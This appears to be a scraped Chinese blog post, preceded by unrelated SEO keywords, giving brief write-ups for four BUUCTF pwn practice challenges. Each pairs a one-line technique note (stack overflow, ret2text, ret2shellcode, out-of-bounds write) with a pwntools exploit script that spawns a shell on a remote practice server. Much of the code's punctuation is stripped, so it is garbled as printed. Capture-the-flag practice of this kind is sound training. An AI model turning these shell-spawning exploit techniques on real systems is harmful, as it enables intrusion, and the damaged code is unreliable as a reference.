中山移动网站设计,做网站有年费吗,wordpress评论软件,百家利网站开发PWN-PRACTICE-BUUCTF-30suctf_2018_stackwdb_2018_3rd_soEasy[BSidesCF 2019]Runitqctf2018_stack2suctf_2018_stack
栈溢出#xff0c;ret2text#xff0c;返回地址不能直接是next_door的起始地址 设置返回地址为0x40067A#xff0c;开始设置系统调用的参数以及系统调用号…
PWN-PRACTICE-BUUCTF-30suctf_2018_stackwdb_2018_3rd_soEasy[BSidesCF 2019]Runitqctf2018_stack2suctf_2018_stack
栈溢出ret2text返回地址不能直接是next_door的起始地址 设置返回地址为0x40067A开始设置系统调用的参数以及系统调用号
from pwn import *
#context.log_leveldebug
#ioprocess(./SUCTF_2018_stack)
ioremote(node4.buuoj.cn,26579)
elfELF(./SUCTF_2018_stack)
shell0x000000000040067A
io.recvuntil(\n)
payloada*(0x208)p64(shell)
io.sendline(payload)
io.interactive()wdb_2018_3rd_soEasy
给了输入在栈上的地址且NX disabled栈溢出ret2shellcode
from pwn import *
context.archi386
#ioprocess(./wdb_2018_3rd_soEasy)
ioremote(node4.buuoj.cn,25581)
elfELF(./wdb_2018_3rd_soEasy)
io.recvuntil(a gift-0x)
addrint(io.recvuntil(\n)[:-1],16)
io.recvuntil(to do?\n)
shellcodeasm(shellcraft.sh())
payloadshellcode.ljust(0x484,a)p32(addr)
io.sendline(payload)
io.interactive()[BSidesCF 2019]Runit
栈溢出ret2shellcode
from pwn import *
context.archi386
#ioprocess(./BSidesCF_2019_Runit)
ioremote(node4.buuoj.cn,25615)
elfELF(./BSidesCF_2019_Runit)
shellcodeasm(shellcraft.sh())
io.recvuntil(stuff!!\n)
io.sendline(shellcode)
io.interactive()qctf2018_stack2
数组越界写ret2text
from pwn import *
#ioprocess(./qctf2018_stack2)
ioremote(node4.buuoj.cn,28396)
elfELF(./qctf2018_stack2)
io.sendlineafter(you have:\n,0)offset0x84backdoor [0x9b, 0x85, 0x04, 0x08]for i in range(4):io.sendlineafter(exit\n,3)io.sendlineafter(change:\n,str(offseti))io.sendlineafter(number:\n,str(backdoor[i]))io.sendlineafter(exit\n,5)
io.interactive()
